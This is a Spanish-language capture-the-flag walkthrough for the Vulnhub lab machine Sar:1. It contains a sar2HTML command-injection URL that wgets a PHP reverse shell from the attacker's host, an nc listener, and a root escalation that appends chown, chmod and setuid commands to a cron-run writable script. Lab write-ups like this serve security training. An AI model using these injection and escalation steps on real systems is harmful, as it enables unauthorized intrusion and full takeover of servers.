[VLN] Sar:1

Hoy vamos a hackear la maquina de Vulnhub llamada Sar:1. Podeis descargarla desde el siguiente enlace: Sar1

Enumeration


Empezamos con un nmap para ver que puertos tiene abiertos.

sml@Cassandra:~$ nmap -A -p- 192.168.1.130
Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-01 11:09 CEST
Nmap scan report for sar.home (192.168.1.130)
Host is up (0.00023s latency).
Not shown: 65534 closed ports
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works

Service detection performed. Please report any incorrect results at 
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.29 seconds
Vemos que solo tiene el puerto 80 abierto, miramos el fichero robots.txt

sml@Cassandra:~$ curl http://192.168.1.130/robots.txt
sar2HTML
Echamos un vistazo a: http://192.168.1.130/sar2HTML/

Exploitation


Despues de buscar, encontramos el siguiente exploit[1]. Vamos a utilizarlo para descargarnos una webshell (php-reverse-shell) y de ese modo obtener una shell. Para descargarnos la webshell, la ponemos en nuestro server HTTP y visitamos:

http://192.168.1.130/sar2HTML/index.php?plot=;wget%20http://192.168.1.148/webshe
ll.php
Ejecutamos en nuestra maquina:

nc -nlvp 5555
Y por ultimo visitamos:

http://192.168.1.130/sar2HTML/webshell.php
Y obtenemos nuestra shell :)

sml@Cassandra:~$ nc -nlvp 5555
listening on [any] 5555 ...
connect to [192.168.1.148] from (UNKNOWN) [192.168.1.130] 57090
Linux sar 5.0.0-23-generic #24~18.04.1-Ubuntu SMP Mon Jul 29 16:12:28 UTC 2019 
x86_64 x86_64 x86_64 GNU/Linux
 14:51:27 up 17 min,  0 users,  load average: 1.00, 0.99, 0.76
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

User.txt


Ahora que tenemos la shell, miramos la flag del user.

$ cd /home
$ ls
love
$ cd love
$ cd Desktop
$ ls
user.txt
$ cat user.txt
427a7e47deb4a8649c7cab38df232b52

Privilege Escalation


Es momento de escalar los privilegios, para ello vemos que en el directorio /var/www/html tenemos 1 fichero llamado finally.sh que es de root.

$cd /var/www/html
$ ls -l
total 32
-rwxr-xr-x 1 root     root        22 Oct 20 21:18 finally.sh
-rw-r--r-- 1 www-data www-data 10918 Oct 20 20:34 index.html
-rw-r--r-- 1 www-data www-data    21 Oct 20 21:03 phpinfo.php
-rw-r--r-- 1 root     root         9 Oct 21 03:10 robots.txt
drwxr-xr-x 4 www-data www-data  4096 Apr  1 14:50 sar2HTML
-rwxrwxrwx 1 www-data www-data    30 Oct 21 02:00 write.sh
Vemos el contenido del fichero finally.sh.

$ cat finally.sh
#!/bin/sh
./write.sh
El script ejecuta al script write.sh, asi que miramos tambien su contenido.

$ cat write.sh
#!/bin/sh
touch /tmp/gateway
Como podemos ver en los permisos, el fichero write.sh si que podemos modificarlo, ahora nos falta ver como root ejecuta finally.sh asi que miramos si hay alguna tarea.

$cd /etc
$ cat crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user  command
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts 
--report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts 
--report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts 
--report /etc/cron.monthly )
#
*/5  *    * * *   root    cd /var/www/html/ && sudo ./finally.sh
Vemos que hay una tarea que se ejecuta cada 5 minutos, la cual ejecuta como root el script finally.sh, que a su vez ejecuta write.sh. Ya que podemos editar el fichero write.sh vamos a utilizarlo para descargarnos una rootshell[2], darle los permisos adecuados, cambiar propietarios, darle setuid, y asi una vez la ejecutemos, seremos root. Deberemos compilarla en nuestra maquina y descargarnos el binario ya que no se dispone de gcc en la maquina victima.

$ wget http://192.168.1.148/rootshell
--2020-04-01 15:08:25--  http://192.168.1.148/rootshell
Connecting to 192.168.1.148:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 16720 (16K) [application/octet-stream]
Saving to: 'rootshell'

     0K .......... ......                                     100% 18.9M=0.001s

2020-04-01 15:08:25 (18.9 MB/s) - 'rootshell' saved [16720/16720]
$ ls -l rootshell
-rw-rw-rw- 1 www-data www-data 16720 Apr  1  2020 rootshell
Una vez descargada la rootshell, modificamos el script write.sh.

$ echo "chown root:www-data /var/www/html/rootshell" >> write.sh
$ echo "chmod 777 /var/www/html/rootshell" >> write.sh
$ echo "chmod +s /var/www/html/rootshell" >> write.sh
Esperamos 5 minutos y....

$ ls -l rootshell 
-rwsrwsrwx 1 root     www-data 16720 Apr  1 15:37 rootshell
$ ./rootshell
id
uid=0(root) gid=0(root) groups=0(root),33(www-data)
cd /root
ls
root.txt
cat root.txt
66f93d6b2ca96c9ad78a8a9ba0008e99

End


Y con esto ya seriamos root de la maquina :) [1]https://www.exploit-db.com/exploits/47204 [2]https://github.com/jivoi/pentest/blob/master/shell/rootshell.c